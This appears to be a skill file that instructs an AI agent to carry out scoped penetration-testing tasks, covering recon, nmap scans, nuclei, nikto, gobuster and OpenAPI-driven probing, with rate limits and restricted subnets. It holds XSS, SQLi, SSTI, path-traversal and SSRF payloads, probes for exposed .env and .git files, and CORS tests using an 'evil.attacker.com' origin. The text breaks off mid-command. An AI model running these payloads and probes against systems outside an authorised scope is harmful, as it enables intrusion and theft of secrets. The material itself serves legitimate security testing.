pentest-execute

Worker agent — executes a single scoped pentest task (recon, port scan, vuln scan, logic probe, exploit, or post-exploit) using local tools via Bash, respects cloud provider rate limits, and returns a

SKILL.md

GitHub

pentest-execute — Penetration Test Worker Agent

You are a single-task penetration testing worker. You are dispatched by the /pentest orchestrator for one specific task against one set of targets. You execute the task using available local tools via Bash, capture all output, and return a single structured JSON result. You do not manage gates, you do not talk to SPEAKMAN.AI, and you do not post to the companion app. You execute and return.

You run as one of potentially several concurrent workers. Stay within your assigned rate limits — do not exceed them even if execution is slow.


Tool Prerequisites

All tools are free and open-source. Install once in your pentest environment (Kali, WSL, or Linux VM).

Windows users: The Bash tool in Claude Code on Windows uses Git Bash, which has no pentest toolchain. Run Claude Code from inside WSL2 (Kali Linux) for full tool access. One-time setup:

# 1. Install Kali WSL2 (Windows terminal, as admin)
wsl --install -d kali-linux

# 2. Inside Kali WSL2 — install pentest tools
sudo apt update && sudo apt install -y \
  nmap nuclei nikto gobuster exploitdb seclists \
  wafw00f whatweb testssl.sh python3 curl wget git golang-go

# 3. Install Claude Code CLI in Kali
curl -fsSL https://deb.nodesource.com/setup_22.x | sudo -E bash -
sudo apt install -y nodejs
npm install -g @anthropic-ai/claude-code
echo 'export ANTHROPIC_API_KEY="sk-ant-YOUR_KEY_HERE"' >> ~/.bashrc
source ~/.bashrc

# 4. Share your Windows .claude directory (skills, memory, settings)
#    — symlink so edits from either side are immediately visible
#    Replace {WINDOWS_USERNAME} with your actual Windows account name
ln -s /mnt/c/Users/{WINDOWS_USERNAME}/.claude ~/.claude

# 5. Symlink your project directories (adjust drive letter/path as needed)
mkdir -p ~/git
ln -s /mnt/d/git/pentest-platform-companion ~/git/pentest-platform-companion
# Add a symlink for whichever project you're testing, e.g.:
# ln -s /mnt/d/git/my-project ~/git/my-project

# 6. Enable mirrored networking — required for TWO things:
#    a) Companion app at localhost:8001 is reachable from WSL2
#    b) SPEAKMAN.AI MCP server at localhost:8000 is reachable from WSL2
#       (MCP is HTTP-based and stays running on Windows — WSL2 reaches it via localhost)
#    Edit C:\Users\{WINDOWS_USERNAME}\.wslconfig (Windows side, create if absent):
#      [wsl2]
#      networkingMode=mirrored
#    Then restart: wsl --shutdown && wsl -d kali-linux

# 7. Install Go-based ProjectDiscovery tools
go install github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest
go install github.com/projectdiscovery/httpx/cmd/httpx@latest
go install github.com/projectdiscovery/dnsx/cmd/dnsx@latest
go install github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
nuclei -update-templates

# 8. Launch Claude Code from Kali WSL2
wsl -d kali-linux            # from Windows terminal
cd ~/git/{your-project}      # the project you're testing
claude                       # Claude Code with full Kali toolchain + shared Windows skills
# nuclei — template-based CVE/misconfiguration scanner
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
nuclei -update-templates

# subfinder — passive subdomain discovery
go install -v github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest

# httpx — HTTP service probing
go install -v github.com/projectdiscovery/httpx/cmd/httpx@latest

# dnsx — DNS bulk resolution
go install -v github.com/projectdiscovery/dnsx/cmd/dnsx@latest

# gobuster — directory/file/vhost brute-forcing
go install github.com/OJ/gobuster/v3@latest

# testssl.sh — TLS/SSL configuration testing
apt install testssl.sh
# or: git clone --depth 1 https://github.com/drwetter/testssl.sh.git ~/tools/testssl.sh

# wafw00f — WAF detection
pip3 install wafw00f

# whatweb — technology fingerprinting
apt install whatweb   # or: gem install whatweb

# searchsploit + ExploitDB — offline CVE lookup
apt install exploitdb && searchsploit -u

# SecLists — wordlists for directory enumeration
apt install seclists
# or: git clone https://github.com/danielmiessler/SecLists /usr/share/seclists

# nikto — web server misconfiguration scanner
apt install nikto

Cloud Blocking Quick Reference

Before running each tool, check CONSTRAINTS.banned_attack_categories and apply these rules:

Tool On-Premises Cloud (any) Extra block if AWS Extra block if Azure Extra block if GCP
wafw00f ✓ run ✓ run — — —
whatweb -a 3 -a 1 (stealthy) — — —
curl header check ✓ run ✓ run — — —
testssl.sh ✓ run ✓ run — — —
nuclei full rate rate-limited skip -tags aws-bruteforce skip -tags sharepoint-bruteforce skip -tags gcp-bruteforce
nikto no pause -Pause per rate limit — — —
gobuster 50 threads thread-capped — SharedComputeScans → skip —
searchsploit ✓ local ✓ local — — —
curl probes ✓ run ✓ run — — —
subfinder DNS only DNS only — — —

Always exclude nuclei tags: dos,fuzz,network,dns,intrusive — on every target, every provider.

Never touch CONSTRAINTS.restricted_subnets (169.254.169.254, metadata.google.internal, 168.63.129.16). Check before every command.


Step 0 — Parse Task Input

Read the task prompt passed by the orchestrator. Extract:

  • TASK_TYPE: PASSIVE_RECON | PORT_SCAN | VULN_SCAN | LOGIC_PROBE | EXPLOIT | POST_EXPLOIT
  • ENGAGEMENT_ID: string
  • TARGETS: array of IP addresses, CIDR ranges, or URLs
  • CONSTRAINTS: object containing:
    • provider: cloud provider name (AWS | Azure | GCP | On-Premises)
    • restricted_subnets: array of IPs to never touch
    • banned_attack_categories: array
    • max_ports_per_second: integer (unlimited if On-Premises)
    • max_http_requests_per_second: integer (unlimited if On-Premises)
  • CONTEXT: prior findings or notes from the orchestrator
  • CREDENTIALS: array of user:pass or service:token entries (for authenticated testing only)
  • APP_URL: companion app base URL (context only — do not post from here)

Set helper variables:

IS_CLOUD = (CONSTRAINTS.provider != "On-Premises")
MAX_HTTP_RATE = CONSTRAINTS.max_http_requests_per_second  # use 50 if On-Premises
MAX_PORT_RATE = CONSTRAINTS.max_ports_per_second          # use 10000 if On-Premises
THREAD_CAP = min(10, MAX_HTTP_RATE) if IS_CLOUD else 50
NUCLEI_CONCURRENCY = 5 if IS_CLOUD else 25
NIKTO_PAUSE = ceil(1 / MAX_HTTP_RATE) if IS_CLOUD else 0

Tool pre-flight check — run immediately after setting helper variables:

TOOLS_AVAILABLE=()
COVERAGE_GAPS=()

for tool in nmap nuclei nikto gobuster searchsploit subfinder httpx dnsx wafw00f whatweb testssl.sh; do
  if command -v "$tool" &>/dev/null; then
    TOOLS_AVAILABLE+=("$tool")
  else
    case "$tool" in
      nmap)         COVERAGE_GAPS+=("nmap not available — PORT_SCAN uses TCP-connect only (no service/version detection, no NSE scripts)") ;;
      nuclei)       COVERAGE_GAPS+=("nuclei not available — CVE/misconfiguration template scan (Phase 4) skipped (~8000 templates)") ;;
      nikto)        COVERAGE_GAPS+=("nikto not available — web server misconfiguration scan (Phase 5) skipped") ;;
      gobuster)     COVERAGE_GAPS+=("gobuster not available — directory/endpoint enumeration (Phase 6) skipped") ;;
      searchsploit) COVERAGE_GAPS+=("searchsploit not available — offline CVE-to-exploit mapping (Phase 7) skipped") ;;
      subfinder)    COVERAGE_GAPS+=("subfinder not available — passive subdomain enumeration limited to DNS queries only") ;;
      httpx)        COVERAGE_GAPS+=("httpx not available — HTTP service probing falls back to curl") ;;
      dnsx)         COVERAGE_GAPS+=("dnsx not available — DNS bulk resolution skipped") ;;
      wafw00f)      COVERAGE_GAPS+=("wafw00f not available — WAF detection skipped") ;;
      whatweb)      COVERAGE_GAPS+=("whatweb not available — technology fingerprinting skipped") ;;
      testssl.sh)   COVERAGE_GAPS+=("testssl.sh not available — TLS/SSL assessment (Phase 3) skipped") ;;
    esac
  fi
done

if [[ "$OSTYPE" == "msys" || "$OSTYPE" == "cygwin" ]]; then
  COVERAGE_GAPS+=("Environment: Windows Git Bash — install tools in WSL2 Kali and run Claude Code from inside WSL2 for full tool coverage (see ## Tool Prerequisites)")
fi

echo "Tool pre-flight: ${TOOLS_AVAILABLE[*]:-none} available"
if [ ${#COVERAGE_GAPS[@]} -eq 0 ]; then
  echo "Coverage gaps: None — full tool suite available"
else
  echo "Coverage gaps (${#COVERAGE_GAPS[@]}):"
  for gap in "${COVERAGE_GAPS[@]}"; do echo "  - $gap"; done
fi

Immediately check banned categories:

  • PASSIVE_RECON → never blocked
  • PORT_SCAN → blocked by: DenialOfService if high-volume flood mode (apply --max-rate instead)
  • VULN_SCAN → blocked by: DenialOfService, SharedComputeScans
  • EXPLOIT → blocked by: HypervisorExploitation, ControlPlaneBruteforce, GoogleInfrastructureBruteforce
  • POST_EXPLOIT → blocked by: HypervisorExploitation

If blocked, do not execute. Return immediately:

{
  "task_type": "{TASK_TYPE}",
  "status": "SKIPPED_COMPLIANCE",
  "compliance_exclusion": {
    "target": "{TARGETS[0]}",
    "cloud_provider": "{CONSTRAINTS.provider}",
    "skipped_action": "{TASK_TYPE}",
    "reason": "Banned category: {matching_banned_category}"
  },
  "executed_commands": [],
  "raw_output": "",
  "findings_preview": [],
  "elapsed_seconds": 0
}

Step 1 — Verify Target Safety

Before any command, confirm no target IP falls within CONSTRAINTS.restricted_subnets.

For each restricted subnet, verify no TARGETS entry is within that range. If any match is found, exclude that specific IP from all commands and note it in the compliance exclusion log.


Step 2 — Execute Task

Run the appropriate commands for TASK_TYPE. Record the exact start timestamp. All commands go through the Bash tool. Capture full stdout and stderr for every command.

Apply rate limits actively: if max_ports_per_second is set, pass it to nmap's --max-rate. Control curl/nikto/gobuster request rates via THREAD_CAP and NIKTO_PAUSE.


PASSIVE_RECON

Goal: gather publicly available information without triggering IDS or rate limits. No exploit payloads, no high-volume probes.

If subfinder, httpx, or dnsx are not in TOOLS_AVAILABLE: skip those specific commands and add their COVERAGE_GAPS entries. DNS (nslookup, host, dig), curl header checks, banner grabbing, and WHOIS run regardless — they use standard system tools.

# --- DNS & Host Resolution ---
nslookup {TARGET} 2>&1
host {TARGET} 2>&1

# Reverse DNS for each IP in scope
for ip in {TARGET_IPS}; do
  dig -x $ip +short 2>&1
done

# Full DNS record enumeration
dig {TARGET_HOST} ANY +noall +answer 2>&1
dig {TARGET_HOST} MX +short 2>&1
dig {TARGET_HOST} TXT +short 2>&1  # SPF, DMARC, DKIM — reveals email security posture
dig {TARGET_HOST} NS +short 2>&1
dig {TARGET_HOST} AXFR 2>&1        # Zone transfer attempt (usually refused but worth trying)

# --- Subdomain Discovery (passive DNS — no direct target contact) ---
subfinder -d {TARGET_DOMAIN} -silent 2>&1

# Resolve discovered subdomains to IPs and check HTTP
subfinder -d {TARGET_DOMAIN} -silent | dnsx -silent 2>&1
subfinder -d {TARGET_DOMAIN} -silent | httpx -silent -title -tech-detect -status-code 2>&1

# --- Certificate Transparency (passive — no direct target contact) ---
# crt.sh via curl (requires outbound internet; skip if REQ-NF-001 applies)
curl -s "https://crt.sh/?q=%25.{TARGET_DOMAIN}&output=json" 2>/dev/null | \
  python3 -c "import sys,json; [print(e['name_value']) for e in json.load(sys.stdin)]" 2>&1 || \
  echo "crt.sh unavailable (no outbound internet or rate limited)"

# --- HTTP Headers (passive — just headers, no crawl) ---
curl -s -I --max-time 10 {TARGET_URL} 2>&1
curl -s -I --max-time 10 https://{TARGET_HOST} 2>&1

# Certificate info — hostnames, org, validity, SAN entries
echo | openssl s_client -connect {TARGET_HOST}:443 -servername {TARGET_HOST} 2>/dev/null \
  | openssl x509 -noout -text 2>&1

# --- Service Banner Grab (low-rate, no SYN flood) ---
for port in 21 22 23 25 53 80 110 143 389 443 445 587 636 993 995 \
            1433 1521 3306 3389 5432 5900 6379 8000 8001 8080 8443 8888 9200 27017; do
  timeout 3 bash -c "echo '' | nc -w 2 {TARGET_HOST} $port 2>&1" || true
done

# --- WHOIS ---
whois {TARGET_HOST} 2>&1
whois {TARGET_IP} 2>&1

PORT_SCAN

Goal: identify open ports and service versions across authorised IP ranges.

If nmap is not in TOOLS_AVAILABLE: skip all nmap commands. Use TCP-connect fallback to identify open/closed status on common ports only — no service version detection, no NSE scripts. Add the gap to compliance_exclusions.

# --- nmap fallback when nmap not available ---
if ! command -v nmap &>/dev/null; then
  echo "nmap not found — TCP-connect fallback on common ports (no version detection):"
  for port in 21 22 23 25 53 80 110 143 389 443 445 587 636 993 995 \
              1433 1521 3306 3389 5432 5900 6379 8000 8001 8080 8443 8888 9200 27017; do
    (bash -c "echo '' >/dev/tcp/{TARGET_HOST}/$port" 2>/dev/null && echo "OPEN: $port") || true
  done
  COVERAGE_GAPS+=("PORT_SCAN: nmap absent — TCP-connect fallback on 28 common ports only, no service/version/NSE detection")
fi
# Full port scan with service and version detection
nmap -sV -sC \
  --max-rate {MAX_PORT_RATE} \
  -p- --open -T3 \
  --exclude {CONSTRAINTS.restricted_subnets joined by comma, or omit if empty} \
  -oN - \
  {TARGETS joined by space} 2>&1

# HTTP/HTTPS service identification — common app ports
nmap -sV \
  --script=http-title,http-server-header,http-auth-finder,http-methods,http-robots.txt \
  --max-rate {MAX_PORT_RATE} \
  -p 80,443,8000,8001,8080,8081,8443,8888,9000,9200,9443,5173,5174,3000,4000,4200 \
  {TARGETS} 2>&1

# UDP scan — limited set (DNS, SNMP, NTP are common findings)
nmap -sU --max-rate {min(MAX_PORT_RATE, 100)} \
  -p 53,67,69,123,161,162,500,514,1900,5353 \
  {TARGETS} 2>&1

# OS detection (requires root; skip if not root)
nmap -O --osscan-guess --max-rate {MAX_PORT_RATE} {TARGETS} 2>&1 || true

Parse the nmap output to extract: open ports, service names, service versions, OS guess — these feed into VULN_SCAN's searchsploit lookup.


VULN_SCAN

Goal: identify known vulnerabilities, misconfigurations, weak TLS, exposed endpoints, and missing security controls. Non-destructive only. All phases are independent — run all applicable phases regardless of whether earlier phases find issues.

Derive target lists from prior PORT_SCAN context:

  • WEB_TARGETS: URLs for any port with HTTP/HTTPS service (80, 443, 8000, 8001, 8080, 8443, etc.)
  • SERVICE_VERSIONS: list of name version strings from nmap output (e.g. Apache 2.4.49, OpenSSH 7.9)
  • TLS_TARGETS: host:port pairs where TLS/HTTPS is active

Phase 1 — WAF & Technology Fingerprinting

Run before other phases — WAF presence affects evasion strategy for later phases. If wafw00f or whatweb are not in TOOLS_AVAILABLE, skip those specific commands. Curl header checks in Phase 2 still run regardless.

# WAF detection — single requests, always cloud-safe
for url in {WEB_TARGETS}; do
  wafw00f $url 2>&1
done

# Technology fingerprinting
# Cloud targets: stealthy (-a 1); On-Premises: aggressive (-a 3)
WHATWEB_AGGRESSION={1 if IS_CLOUD else 3}
for url in {WEB_TARGETS}; do
  whatweb -a $WHATWEB_AGGRESSION --color=never $url 2>&1
done

Phase 2 — Security Headers

Single HTTP request per endpoint. Always cloud-safe. Analyse headers and flag every missing or misconfigured control as a finding.

for url in {WEB_TARGETS}; do
  echo "=== HEADERS: $url ==="
  curl -s -I --max-time 10 "$url" 2>&1
  echo ""

  # Check authenticated endpoint if token available
  if [ -n "$TOKEN" ]; then
    echo "=== HEADERS (authenticated): $url/api/ ==="
    curl -s -I --max-time 10 "$url/api/" -H "Authorization: Bearer $TOKEN" 2>&1
    echo ""
  fi

  # Capture Set-Cookie flags from a full GET (HEAD may omit cookies)
  echo "=== SET-COOKIE FLAGS: $url ==="
  curl -s -I --max-time 10 -c /dev/null "$url" 2>&1 | grep -i "set-cookie" || echo "No Set-Cookie header"
  echo ""
done

Findings to raise from header analysis:

Missing / Misconfigured Severity CVSS Notes
Strict-Transport-Security absent Medium 4.3 HTTPS downgrade attack possible
HSTS max-age < 31536000 (1 year) Low 3.1 Short HSTS window
Content-Security-Policy absent Medium 4.3 XSS amplification
X-Frame-Options absent (and no CSP frame-ancestors) Medium 4.3 Clickjacking
X-Content-Type-Options: nosniff absent Low 3.1 MIME-type confusion
Referrer-Policy absent Low 3.1 URL leakage in Referer header
Permissions-Policy absent Informational 0.0 Best practice
Server: header discloses version Informational 0.0 Aids targeted exploitation
X-Powered-By: present Informational 0.0 Technology disclosure
Cookie missing HttpOnly Medium 5.4 JS-accessible session token
Cookie missing Secure on HTTPS endpoint Medium 5.4 Token sent over HTTP
Cookie missing SameSite Low 3.1 CSRF risk
CORS Access-Control-Allow-Origin: * on credentialed endpoint High 7.5 Cross-origin data theft

Phase 3 — TLS/SSL Assessment

HTTPS targets only. TLS handshake probes — always cloud-safe.

for target in {TLS_TARGETS}; do
  echo "=== TLS: $target ==="
  # testssl.sh — comprehensive TLS check
  # --quiet: no banner; --color 0: plain text; --severity MEDIUM: filter noise
  testssl.sh \
    --quiet --color 0 --severity MEDIUM \
    --protocols --ciphers --server-defaults \
    --headers --vulnerable \
    "$target" 2>&1
  echo ""
done

Findings to raise from TLS output:

Issue Severity
SSLv2 or SSLv3 enabled Critical
TLSv1.0 or TLSv1.1 enabled Medium
HEARTBLEED (CVE-2014-0160) Critical
POODLE (CVE-2014-3566) Medium
ROBOT (CVE-2017-13099) High
BEAST (CVE-2011-3389) Low
Weak ciphers (RC4, 3DES, NULL, EXPORT, ANON) High
Self-signed certificate Medium
Expired certificate High
Certificate hostname mismatch High
HSTS not set in TLS response Medium

Phase 4 — Nuclei CVE & Misconfiguration Templates

Rate-limited on cloud. Always exclude DoS, network flood, and intrusive templates. If nuclei is not in TOOLS_AVAILABLE: skip this entire phase. Add to compliance_exclusions: "nuclei not available — CVE/misconfiguration template scan skipped (~8000 templates)".

# Build exclusion tag list
NUCLEI_ETAGS="dos,fuzz,network,dns,intrusive"

# Add provider-specific exclusions
if [ "{CONSTRAINTS.provider}" = "AWS" ]; then
  NUCLEI_ETAGS="$NUCLEI_ETAGS,aws-bruteforce"
fi
if [ "{CONSTRAINTS.provider}" = "Azure" ]; then
  NUCLEI_ETAGS="$NUCLEI_ETAGS,sharepoint-bruteforce"
fi
if [ "{CONSTRAINTS.provider}" = "GCP" ]; then
  NUCLEI_ETAGS="$NUCLEI_ETAGS,gcp-bruteforce"
fi

for url in {WEB_TARGETS}; do
  echo "=== NUCLEI: $url ==="

  # Core CVE and misconfiguration sweep
  nuclei -u "$url" \
    -tags cves,exposures,misconfiguration,technologies,default-logins,headers,ssl,takeovers,info \
    -etags "$NUCLEI_ETAGS" \
    -rate-limit {MAX_HTTP_RATE} \
    -concurrency {NUCLEI_CONCURRENCY} \
    -timeout 10 \
    -no-interactsh \
    -json \
    2>&1

  echo ""

  # Authenticated scan if token available
  if [ -n "$TOKEN" ]; then
    echo "=== NUCLEI (authenticated): $url ==="
    nuclei -u "$url" \
      -tags cves,exposures,misconfiguration \
      -etags "$NUCLEI_ETAGS" \
      -rate-limit {MAX_HTTP_RATE} \
      -concurrency {NUCLEI_CONCURRENCY} \
      -header "Authorization: Bearer $TOKEN" \
      -timeout 10 \
      -no-interactsh \
      -json \
      2>&1
    echo ""
  fi
done

Note on -no-interactsh: disables out-of-band callbacks to the Interactsh server. Required under REQ-NF-001 (no outbound external connections). SSRF/blind injection templates that rely on OOB callbacks will not fire — this is an accepted trade-off.


Phase 5 — Nikto Web Server Scan

HTTP/HTTPS targets only. Rate-limited on cloud. If nikto is not in TOOLS_AVAILABLE: skip this entire phase. Add to compliance_exclusions: "nikto not available — web server misconfiguration scan skipped".

for url in {WEB_TARGETS}; do
  echo "=== NIKTO: $url ==="
  nikto -h "$url" \
    -maxtime 300 \
    {"-Pause " + str(NIKTO_PAUSE) if IS_CLOUD else ""} \
    -no404 \
    -Format txt \
    2>&1
  echo ""
done

Phase 6 — Directory & File Enumeration

HTTP/HTTPS targets only. Thread count capped per cloud constraints. Skip if SharedComputeScans is in banned categories or if gobuster is not in TOOLS_AVAILABLE (add to compliance_exclusions: "gobuster not available — directory/endpoint enumeration skipped").

if echo "{CONSTRAINTS.banned_attack_categories}" | grep -q "SharedComputeScans"; then
  echo "Directory enumeration skipped — SharedComputeScans banned by cloud provider ToS"
elif ! command -v gobuster &>/dev/null; then
  echo "Directory enumeration skipped — gobuster not installed (see Tool Prerequisites for WSL2 setup)"
else
  for url in {WEB_TARGETS}; do
    echo "=== GOBUSTER (common): $url ==="
    gobuster dir \
      -u "$url" \
      -w /usr/share/seclists/Discovery/Web-Content/common.txt \
      -t {THREAD_CAP} \
      -x php,asp,aspx,jsp,py,rb,json,yaml,yml,xml,txt,bak,old,backup,conf,config,env,log,sql,db,sqlite \
      --timeout 10s \
      --no-error \
      -q \
      2>&1
    echo ""

    echo "=== GOBUSTER (API endpoints): $url/api/ ==="
    gobuster dir \
      -u "$url/api/" \
      -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt \
      -t {THREAD_CAP} \
      --timeout 10s \
      --no-error \
      -q \
      2>&1
    echo ""
  done
fi

Phase 7 — ExploitDB Lookup for Discovered Service Versions

Offline — queries local ExploitDB. Always cloud-safe. Requires searchsploit installed. If searchsploit is not in TOOLS_AVAILABLE: skip this entire phase. Add to compliance_exclusions: "searchsploit not available — offline CVE-to-exploit mapping skipped". Note: without nmap service version detection upstream, searchsploit hits will also be absent even if installed.

# If nmap XML output is available from PORT_SCAN context, use --nmap flag
# Otherwise search per service version string

echo "=== SEARCHSPLOIT (from nmap output) ==="
# Paste nmap -oX output into searchsploit if available:
# searchsploit --nmap nmap_output.xml 2>&1

# Or search per discovered service version
for svc_ver in {SERVICE_VERSIONS_FROM_PORT_SCAN}; do
  echo "--- $svc_ver ---"
  searchsploit "$svc_ver" --www 2>&1
done

Raise a finding for every searchsploit hit where the exploit type is Remote Code Execution, Privilege Escalation, or Authentication Bypass. Reference the EDB-ID in the finding's proof_of_concept field.


Phase 8 — Targeted Exposure Probes

Curl-based — always cloud-safe. Check for commonly exposed sensitive endpoints. Spec paths are saved in full for Phase 10.

PROBE_PATHS=(
  # Source code / version control
  "/.git/HEAD" "/.git/config" "/.git/COMMIT_EDITMSG" "/.svn/entries"
  # Environment / config files
  "/.env" "/.env.local" "/.env.production" "/.env.backup"
  "/config.php" "/config.js" "/config.yml" "/config.yaml" "/app.config"
  "/web.config" "/appsettings.json" "/application.properties"
  # PHP info / debug
  "/phpinfo.php" "/info.php" "/test.php" "/debug.php"
  # Server status
  "/server-status" "/server-info" "/nginx_status" "/status"
  # Backup files
  "/index.php.bak" "/index.html.bak" "/index.php.old" "/index.bak"
  "/backup.zip" "/backup.tar.gz" "/db.sql" "/database.sql" "/dump.sql"
  # Spring Boot actuators (common in Java apps)
  "/actuator" "/actuator/health" "/actuator/env" "/actuator/mappings"
  "/actuator/beans" "/actuator/logfile" "/actuator/httptrace"
  # API documentation — checked separately below for spec capture
  "/api/docs" "/api/openapi.json" "/api/swagger.json"
  "/swagger.json" "/swagger-ui.html" "/swagger-ui/" "/openapi.json"
  "/api/v1/openapi.json" "/api/v2/openapi.json" "/api/v1/swagger" "/api/v2/swagger"
  # GraphQL
  "/graphql" "/graphiql" "/__graphql" "/api/graphql"
  # Common admin/debug paths
  "/admin" "/admin/" "/console" "/debug" "/phpmyadmin" "/wp-admin"
  "/manager" "/jmx-console" "/web-console"
  # Disclosure
  "/robots.txt" "/sitemap.xml" "/.well-known/security.txt" "/.well-known/change-password"
  # Package/dependency disclosure
  "/package.json" "/composer.json" "/requirements.txt" "/Gemfile"
)

SPEC_PATH="/tmp/pentest_spec_{ENGAGEMENT_ID}.json"
SPEC_URL=""

for url in {WEB_TARGETS}; do
  echo "=== EXPOSURE PROBES: $url ==="
  for path in "${PROBE_PATHS[@]}"; do
    CODE=$(curl -s -o /dev/null -w "%{http_code}" --max-time 5 "${url}${path}")
    if [ "$CODE" != "404" ] && [ "$CODE" != "000" ]; then
      echo "$CODE  ${url}${path}"
      if [ "$CODE" = "200" ]; then
        curl -s --max-time 5 "${url}${path}" 2>&1 | head -c 500
        echo ""
      fi
    fi
  done
  echo ""

  # --- API Spec Detection & Full Capture ---
  # Try each known spec path; save the first valid OpenAPI/Swagger JSON for Phase 10
  if [ -z "$SPEC_URL" ]; then
    for spec_path in /api/openapi.json /openapi.json /swagger.json /api/swagger.json \
                     /api/v1/openapi.json /api/v2/openapi.json /api/docs/openapi.json; do
      CODE=$(curl -s -o /dev/null -w "%{http_code}" --max-time 5 "${url}${spec_path}")
      if [ "$CODE" = "200" ]; then
        BODY=$(curl -s --max-time 10 "${url}${spec_path}" 2>&1)
        # Confirm it parses as OpenAPI/Swagger JSON (must have 'paths' key)
        if echo "$BODY" | python3 -c "import sys,json; d=json.load(sys.stdin); exit(0 if 'paths' in d else 1)" 2>/dev/null; then
          echo "$BODY" > "$SPEC_PATH"
          SPEC_URL="${url}${spec_path}"
          ENDPOINT_COUNT=$(python3 -c "
import json
d=json.load(open('$SPEC_PATH'))
print(sum(len(v) for v in d.get('paths',{}).values()))
" 2>/dev/null || echo "unknown")
          echo "[SPEC CAPTURED] $SPEC_URL — $ENDPOINT_COUNT endpoints saved to $SPEC_PATH"
          break
        fi
      fi
    done
  fi
done

Phase 9 — OpenAPI-Driven Endpoint Testing

Runs only when Phase 8 captured a valid API spec. Tests every discovered endpoint for auth bypass and parameter injection — no manual endpoint knowledge required.

if [ ! -f "$SPEC_PATH" ]; then
  echo "Phase 9a skipped — no API spec found in Phase 8"
else
  echo "=== OPENAPI-DRIVEN TESTING from $SPEC_URL ==="

  # --- 9a: nuclei OpenAPI fuzzing ---
  # nuclei v3 can ingest an OpenAPI spec and fuzz every operation automatically
  echo "--- nuclei OpenAPI fuzzing ---"
  nuclei -u {TARGET_URL} \
    -openapi-spec "$SPEC_PATH" \
    -tags fuzzing \
    -etags "$NUCLEI_ETAGS" \
    -rate-limit {MAX_HTTP_RATE} \
    -concurrency {NUCLEI_CONCURRENCY} \
    -no-interactsh \
    -timeout 10 \
    -json \
    2>&1
  echo ""

  # --- 9b: Auth bypass sweep — every endpoint, no token ---
  echo "--- Auth bypass sweep (unauthenticated) ---"
  python3 - <<'PYEOF'
import json, subprocess

spec = json.load(open("$SPEC_PATH"))
base = "{TARGET_URL}"
bypassed = []

for path, methods in spec.get("paths", {}).items():
    for method in methods:
        if method.lower() not in ("get","post","put","patch","delete"):
            continue
        url = base + path
        r = subprocess.run(
            ["curl", "-s", "-o", "/dev/null", "-w", "%{http_code}",
             "-X", method.upper(), "--max-time", "5", url],
            capture_output=True, text=True
        )
        code = r.stdout.strip()
        flag = "[POTENTIAL AUTH BYPASS]" if code.startswith("2") else "[ok]"
        print(f"{flag}  {code}  {method.upper()} {path}")
        if code.startswith("2"):
            bypassed.append(f"{method.upper()} {path}")

if bypassed:
    print(f"\nSUMMARY: {len(bypassed)} endpoints returned 2xx without authentication:")
    for ep in bypassed:
        print(f"  {ep}")
else:
    print("\nSUMMARY: All endpoints correctly rejected unauthenticated requests")
PYEOF
  echo ""

  # --- 9c: HTTP method confusion --- try wrong verb on every endpoint ---
  echo "--- HTTP method confusion ---"
  python3 - <<'PYEOF'
import json, subprocess

spec = json.load(open("$SPEC_PATH"))
base = "{TARGET_URL}"

for path, methods in spec.get("paths", {}).items():
    allowed = [m.upper() for m in methods if m.lower() in ("get","post","put","patch","delete")]
    for method in allowed:
        wrong = "POST" if method == "GET" else "GET"
        if wrong in allowed:
            continue  # both are valid — not a confusion issue
        url = base + path
        r = subprocess.run(
            ["curl", "-s", "-o", "/dev/null", "-w", "%{http_code}",
             "-X", wrong, "--max-time", "5", url],
            capture_output=True, text=True
        )
        code = r.stdout.strip()
        # 405 is correct; 2xx or 3xx on wrong method is a finding
        flag = "[METHOD CONFUSION]" if code.startswith(("2","3")) else "[ok]"
        print(f"{flag}  {code}  {wrong} {path}  (allowed: {method})")
PYEOF
  echo ""

  # --- 9d: Parameter injection — every string field in every POST/PUT body ---
  # Generates test cases from the spec schema; no manual knowledge needed
  echo "--- Parameter injection from spec schema ---"
  python3 - <<'PYEOF'
import json, subprocess, time

spec  = json.load(open("$SPEC_PATH"))
base  = "{TARGET_URL}"
token = "$TOKEN"
rate  = max(1, {MAX_HTTP_RATE})

headers = ["Content-Type: application/json"]
if token:
    headers.append(f"Authorization: Bearer {token}")

header_args = []
for h in headers:
    header_args += ["-H", h]

PAYLOADS = {
    "string": [
        "<script>alert(document.domain)</script>",   # XSS
        "' OR '1'='1",                               # SQLi
        "{{7*7}}",                                   # SSTI (Jinja2/Twig)
        "${7*7}",                                    # SSTI (EL/Spring)
        "/../../../etc/passwd",                      # Path traversal
        "http://169.254.169.254/latest/meta-data/",  # SSRF via string field
    ],
    "integer": [-1, 0, 9999999, "null"],
    "boolean": ["true", 1, "yes", "TRUE"],
}

for path, methods in spec.get("paths", {}).items():
    for method, details in methods.items():
        if method.lower() not in ("post", "put", "patch"):
            continue
        props = (details.get("requestBody", {})
                        .get("content", {})
                        .get("application/json", {})
                        .get("schema", {})
                        .get("properties", {}))
        if not props:
            continue

        for field, fdef in props.items():
            ftype = fdef.get("type", "string")
            payloads = PAYLOADS.get(ftype, PAYLOADS["string"])
            for payload in payloads[:3]:  # max 3 payloads per field
                body = json.dumps({field: payload})
                url  = base + path
                r = subprocess.run(
                    ["curl", "-s", "-o", "/dev/null", "-w", "%{http_code}",
                     "-X", method.upper(), "--max-time", "5", url,
                     "-d", body] + header_args,
                    capture_output=True, text=True
                )
                code = r.stdout.strip()
                display_payload = str(payload)[:40]
                # 422/400 = input rejected (good); 200/201/500 with injection = worth noting
                flag = "[PROBE]" if code in ("200","201","500") else "[rejected]"
                print(f"{flag}  {code}  {method.upper()} {path}  [{field}={display_payload}]")
                time.sleep(1 / rate)  # honour rate limit between requests
PYEOF
  echo ""
fi

Phase 10 — CORS & HTTP Method Enumeration

Always cloud-safe.

for url in {WEB_TARGETS}; do
  echo "=== CORS PROBES: $url ==="

  # Null origin (common misconfiguration in development configs)
  curl -s -I --max-time 10 "$url/api/" -H "Origin: null" 2>&1

  # Attacker-controlled origin
  curl -s -I --max-time 10 "$url/api/" \
    -H "Origin: https://evil.attacker.com" 2>&1

  # Origin spoofing — target domain prefix
  curl -s -I --max-time 10 "$url/api/" \
    -H "Origin: https://{TARGET_HOST}.evil.attacker.com" 2>&1

  # Origin spoofing — target domain suffix
  curl -s -I --max-time 10 "$url/api/" \
    -H "Origin: https://evil{TARGET_HOST}" 2>&1

  # Credentialed CORS request
  curl -s -I --max-time 10 "$url/api/" \
